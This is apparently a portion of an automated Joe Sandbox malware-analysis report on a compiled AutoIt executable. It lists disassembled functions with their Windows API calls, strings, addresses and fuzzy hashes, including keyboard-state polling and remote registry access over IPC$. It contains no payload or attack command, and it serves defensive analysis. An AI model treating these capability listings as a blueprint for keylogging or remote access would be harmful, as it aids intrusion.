GetMenuItemInfoW.USER32 ref: 00007FF73A24A4B8
SetMenuItemInfoW.USER32 ref: 00007FF73A24A4F0
Sleep.KERNEL32 ref: 00007FF73A24A503
GetMenuItemCount.USER32 ref: 00007FF73A24A549
GetMenuItemID.USER32 ref: 00007FF73A24A566
GetMenuItemID.USER32 ref: 00007FF73A24A58D
GetMenuItemID.USER32 ref: 00007FF73A24A5CB
CheckMenuRadioItem.USER32 ref: 00007FF73A24A610
GetMenuItemInfoW.USER32 ref: 00007FF73A24A62B
SetMenuItemInfoW.USER32 ref: 00007FF73A24A650

Strings

P, xrefs: 00007FF73A24A432

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: P
API String ID: 1460738036-3110715001
Opcode ID: 425b3d5a2051c68f0670dcdad59ee9d800cc35cf3d8f3cee648c2718cc05a541
Instruction ID: cf80d66d0b33b8889106c5e89021486186c1502f52b21d803027da1d64daea63
Opcode Fuzzy Hash: 425b3d5a2051c68f0670dcdad59ee9d800cc35cf3d8f3cee648c2718cc05a541
Instruction Fuzzy Hash: 7871152AE0C6A26AFB20FF2494072BDA765BBC0748FD54071DA4E47685CE7CE546F720

Function 00007FF73A253268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF73A2532C5
LoadStringW.USER32 ref: 00007FF73A2532EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73A253433
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73A25344F

Strings

Line %d (File "%s"):, xrefs: 00007FF73A253338
"%s" (%d) : ==> %s:, xrefs: 00007FF73A253441
Incorrect parameters to object property !, xrefs: 00007FF73A2533B0
Error: , xrefs: 00007FF73A2533E1
^ ERROR , xrefs: 00007FF73A25339F
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF73A25341A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 5fd285544855fb4b54be74cc94024578cbe44963d31b8940ee8fe07e7d93a8e5
Instruction ID: 1a26718014f0237b56c25144216542cac215563afb94eb2ef010a7653acc922a
Opcode Fuzzy Hash: 5fd285544855fb4b54be74cc94024578cbe44963d31b8940ee8fe07e7d93a8e5
Instruction Fuzzy Hash: D2615F6AB18A52B6FB00FB64E4525F8E360FB80744FC010B2EA4D53699DE7CE506E760

Function 00007FF73A2474B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF73A21EA7B,?,?,?,?,?,?,?), ref: 00007FF73A2474EA
LoadStringW.USER32 ref: 00007FF73A247505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF73A24751A
LoadStringW.USER32 ref: 00007FF73A24752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73A24766D
MessageBoxW.USER32 ref: 00007FF73A247685

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF73A247650
Line %d (File "%s"):, xrefs: 00007FF73A24757F
Line %d:, xrefs: 00007FF73A24758D
Error: , xrefs: 00007FF73A247623
^ ERROR, xrefs: 00007FF73A2475F2

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 067dacd247e379e4f61376e400f4e94febefd672d0ac4a6975ea11c829ee5bb6
Instruction ID: 3d5f4d273cd89b062bba2ad5c7e3f452c56e2e269806ed58680f59c611e817bd
Opcode Fuzzy Hash: 067dacd247e379e4f61376e400f4e94febefd672d0ac4a6975ea11c829ee5bb6
Instruction Fuzzy Hash: 2D518E2AB18A52A5FB00FB64E8420FDA371FF94784BC001B2EA1D5369ADF7CD506E750

Function 00007FF73A24D4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF73A24D4B9
Sleep.KERNEL32 ref: 00007FF73A24D4D7
EnumThreadWindows.USER32 ref: 00007FF73A24D4FF
FindWindowExW.USER32 ref: 00007FF73A24D528
SetActiveWindow.USER32 ref: 00007FF73A24D54B
SendMessageW.USER32 ref: 00007FF73A24D55F

Part of subcall function 00007FF73A24B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF73A24B608
Part of subcall function 00007FF73A24B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF73A24B610

SendMessageW.USER32 ref: 00007FF73A24D57F
Sleep.KERNEL32 ref: 00007FF73A24D58A
IsWindow.USER32 ref: 00007FF73A24D597
EndDialog.USER32 ref: 00007FF73A24D5AA

Part of subcall function 00007FF73A24B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF73A24B5F0
Part of subcall function 00007FF73A24B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF73A24B5F8
Part of subcall function 00007FF73A24B5D4: AttachThreadInput.USER32 ref: 00007FF73A24B61D

Strings

BUTTON, xrefs: 00007FF73A24D51F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: 13855c77daebdbc7ceb6d0ac033f729fc8fff5fceae63dfa17b9f3448183858a
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: EE31BD2CF09603A6F714BB20E857735A361AFC4744FC541B0E90E462A0CE2CE484B730

Function 00007FF73A242F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF73A242FB1
GetWindowRect.USER32 ref: 00007FF73A242FCD
MoveWindow.USER32 ref: 00007FF73A243048
GetDlgItem.USER32 ref: 00007FF73A243063
GetWindowRect.USER32 ref: 00007FF73A243078
MoveWindow.USER32 ref: 00007FF73A2430E2
GetDlgItem.USER32 ref: 00007FF73A2430F4
GetWindowRect.USER32 ref: 00007FF73A243109
MoveWindow.USER32 ref: 00007FF73A24315B
GetDlgItem.USER32 ref: 00007FF73A243173
MoveWindow.USER32 ref: 00007FF73A243198
InvalidateRect.USER32 ref: 00007FF73A2431AB

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction ID: c143060f6e4e6b1163255bb902999fcb70182b828bffc0e8fe93709c2747b9f1
Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction Fuzzy Hash: 24619076B042509BF718DB6AD845A6CB7A6B7C8B84F908179EE0D93F48DF38D9059B00

Function 00007FF73A247E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF73A247F01
SetKeyboardState.USER32 ref: 00007FF73A247F58
GetAsyncKeyState.USER32 ref: 00007FF73A247F7E
GetKeyState.USER32 ref: 00007FF73A247F93
GetAsyncKeyState.USER32 ref: 00007FF73A247FC2
GetKeyState.USER32 ref: 00007FF73A247FD2
GetAsyncKeyState.USER32 ref: 00007FF73A248001
GetKeyState.USER32 ref: 00007FF73A248011
GetAsyncKeyState.USER32 ref: 00007FF73A248040
GetKeyState.USER32 ref: 00007FF73A248050
GetAsyncKeyState.USER32 ref: 00007FF73A24807F
GetKeyState.USER32 ref: 00007FF73A24808F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction ID: d5d36023eca30a94b8ea44c84d2a28339d4cb01efc51592300a5cf7d7594bbf6
Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction Fuzzy Hash: 3A712A1AA1C6D1A5FB35AB30D0022B9AB60EFC6B84FD801B9D68D03782CE5DD945F770

Function 00007FF73A23FF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF73A23FFAC
SendMessageTimeoutW.USER32 ref: 00007FF73A2400C8
GetClassNameW.USER32 ref: 00007FF73A24013C
GetDlgCtrlID.USER32 ref: 00007FF73A240193
GetWindowRect.USER32 ref: 00007FF73A2401B9
GetParent.USER32 ref: 00007FF73A2401D6
ScreenToClient.USER32 ref: 00007FF73A2401E6
GetClassNameW.USER32 ref: 00007FF73A240281
GetWindowTextW.USER32 ref: 00007FF73A2402C1

Strings

%s%u, xrefs: 00007FF73A240044

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: 44ac92edb071f1514f787052a8c84010b0e78617ae0e472b0051bd7801e4bec2
Instruction ID: 0f59089d7bd8660915bf548727b9af58a96075d6a2af32f5e1cdf414f9a89a39
Opcode Fuzzy Hash: 44ac92edb071f1514f787052a8c84010b0e78617ae0e472b0051bd7801e4bec2
Instruction Fuzzy Hash: CFB1F37AB08692A6FB18EB25D8056F8B760FB84B84F800075DE1D47795DF3DE544EB20

Function 00007FF73A24176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF73A2417DA
GetWindowTextW.USER32 ref: 00007FF73A241815
CharUpperBuffW.USER32 ref: 00007FF73A241833
wcsstr.LIBVCRUNTIME ref: 00007FF73A241866
GetClassNameW.USER32 ref: 00007FF73A24189C
GetWindowTextW.USER32 ref: 00007FF73A2418D0
GetClassNameW.USER32 ref: 00007FF73A24191B
GetClassNameW.USER32 ref: 00007FF73A241951
GetWindowRect.USER32 ref: 00007FF73A2419CF

Strings

ThumbnailClass, xrefs: 00007FF73A2418A7, 00007FF73A241926

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
String ID: ThumbnailClass
API String ID: 4010642439-1241985126
Opcode ID: acf01bc4ef961a1ce9589b39a99d2e755b4ab7ba2c52c218cc1cf05932e79f2a
Instruction ID: b899ceecb29ae50e7f55c3170cd6a5c4bea0c7e97ed6e8a3f8e8c90f762efed9
Opcode Fuzzy Hash: acf01bc4ef961a1ce9589b39a99d2e755b4ab7ba2c52c218cc1cf05932e79f2a
Instruction Fuzzy Hash: 88A1E536B0865267FA28AB16D4066B9F761FBC5784F804071DA8E03A95DF3DF904EB10

Function 00007FF73A1D1504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF73A1D12EF), ref: 00007FF73A2199AC
ExtractIconExW.SHELL32 ref: 00007FF73A2199CD
LoadImageW.USER32 ref: 00007FF73A2199EB
ExtractIconExW.SHELL32 ref: 00007FF73A219A0C
SendMessageW.USER32 ref: 00007FF73A219A2F
DestroyIcon.USER32 ref: 00007FF73A219A3E
SendMessageW.USER32 ref: 00007FF73A219A64
DestroyIcon.USER32 ref: 00007FF73A219A73

Strings

P, xrefs: 00007FF73A2199D3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: 8fff79eadb310ad5d3afad64ca924e0e32c19106340320aeb318d29d5be0657d
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: 2F61E73AA08641AAFB54EF26E842679B7A0FFC5B98F940571ED0E43794DF3CE440A710

Function 00007FF73A2534E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF73A25354D
LoadStringW.USER32 ref: 00007FF73A253571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73A2536CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73A2536E7

Strings

Line %d (File "%s"):, xrefs: 00007FF73A2535C0
"%s" (%d) : ==> %s:, xrefs: 00007FF73A2536D9
Error: , xrefs: 00007FF73A25367B
^ ERROR, xrefs: 00007FF73A25364A
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF73A2536B2

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: dea33047e07f475fdf13a38a8a81df7e5fdcd2daba7d6f16993dc7bf36732046
Instruction ID: f537346cbedfa74e67e689b34e95671eea28ed5979c972f72d88619497c3f864
Opcode Fuzzy Hash: dea33047e07f475fdf13a38a8a81df7e5fdcd2daba7d6f16993dc7bf36732046
Instruction Fuzzy Hash: FD717F6AA18A52B6FB00FB61E4524F9E360FB84784FC010B2EA5D07699DE7CE506E750

Function 00007FF73A23C034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF73A23C143
RegConnectRegistryW.ADVAPI32 ref: 00007FF73A23C164
RegOpenKeyExW.ADVAPI32 ref: 00007FF73A23C193
RegQueryValueExW.ADVAPI32 ref: 00007FF73A23C1CD
CLSIDFromString.OLE32 ref: 00007FF73A23C1F4
RegCloseKey.ADVAPI32 ref: 00007FF73A23C203
RegCloseKey.ADVAPI32 ref: 00007FF73A23C20E

Strings

\IPC$, xrefs: 00007FF73A23C118
SOFTWARE\Classes\, xrefs: 00007FF73A23C088
\CLSID, xrefs: 00007FF73A23C0A6

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: bf652cffd062c394fe336ad674e489c783c88ee7871ac2fefe448d19d608bd28
Instruction ID: ae2c7129a3454c6bc2d0c632a6f4df4ee68a95752221c0c6b9f6f02409a048c5
Opcode Fuzzy Hash: bf652cffd062c394fe336ad674e489c783c88ee7871ac2fefe448d19d608bd28
Instruction Fuzzy Hash: B051B627B18A82A5FB10EB64F8851E9F7B0FB94394F800071EA4D47AA9DF3CD549E710

Function 00007FF73A27AD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

MoveWindow.USER32 ref: 00007FF73A27AE48
CreateCompatibleDC.GDI32 ref: 00007FF73A27AE50
SendMessageW.USER32 ref: 00007FF73A27AE67
SelectObject.GDI32 ref: 00007FF73A27AE73
GetPixel.GDI32 ref: 00007FF73A27AE81
DeleteDC.GDI32 ref: 00007FF73A27AE8C
GetWindowLongW.USER32 ref: 00007FF73A27AE9A
SetLayeredWindowAttributes.USER32 ref: 00007FF73A27AEB4
DestroyWindow.USER32 ref: 00007FF73A27AEBE

Strings

static, xrefs: 00007FF73A27AD5D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
String ID: static
API String ID: 3821898125-2160076837
Opcode ID: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
Instruction ID: 38694b288ee5a7154eaa72a4d97ec5c4e0b9c3bc34aeb60ee69eadcb23d0420c
Opcode Fuzzy Hash: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
Instruction Fuzzy Hash: 6F419E366087819BF7209F25E445B5AB3A1FBC87A0F904275EA9D83B99CF3DD444EB10

Function 00007FF73A253E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF73A253E61
CreateDirectoryW.KERNEL32 ref: 00007FF73A253EB2
CreateFileW.KERNEL32 ref: 00007FF73A253EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF73A253EF6
DeviceIoControl.KERNEL32 ref: 00007FF73A253FA5
CloseHandle.KERNEL32 ref: 00007FF73A253FB2
CloseHandle.KERNEL32 ref: 00007FF73A253FBD

Strings

:, xrefs: 00007FF73A253E9F
\??\%s, xrefs: 00007FF73A253E79
\, xrefs: 00007FF73A253E97

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: ab50070b868cf79d7ec9ac9b4496323ce19f3d277f96198cd8cc358fba700feb
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: D941E4266186C395F720AF21E8116FDA3A0FFC5B98F841135DA0D47AA8DF7CC546E710

Function 00007FF73A1DE774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D6838: CreateFileW.KERNEL32 ref: 00007FF73A1D68A2

Part of subcall function 00007FF73A1F4380: GetCurrentDirectoryW.KERNEL32(?,00007FF73A1DE817), ref: 00007FF73A1F439C

Part of subcall function 00007FF73A1D56D4: GetFullPathNameW.KERNEL32(?,00007FF73A1D56C1,?,00007FF73A1D7A0C,?,?,?,00007FF73A1D109E), ref: 00007FF73A1D56FF

SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A1DE8B0
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A1DE9FA

Part of subcall function 00007FF73A1D9F10: wcscpy.LIBCMT ref: 00007FF73A1D9F61

Strings

Unterminated string, xrefs: 00007FF73A22A483
Error opening the file, xrefs: 00007FF73A22A09B, 00007FF73A22A428
AU3!, xrefs: 00007FF73A1DE85F
Bad directive syntax error, xrefs: 00007FF73A22A3FB
EA06, xrefs: 00007FF73A22A0BB
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00007FF73A22A07A
>>>AUTOIT SCRIPT<<<, xrefs: 00007FF73A22A109

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
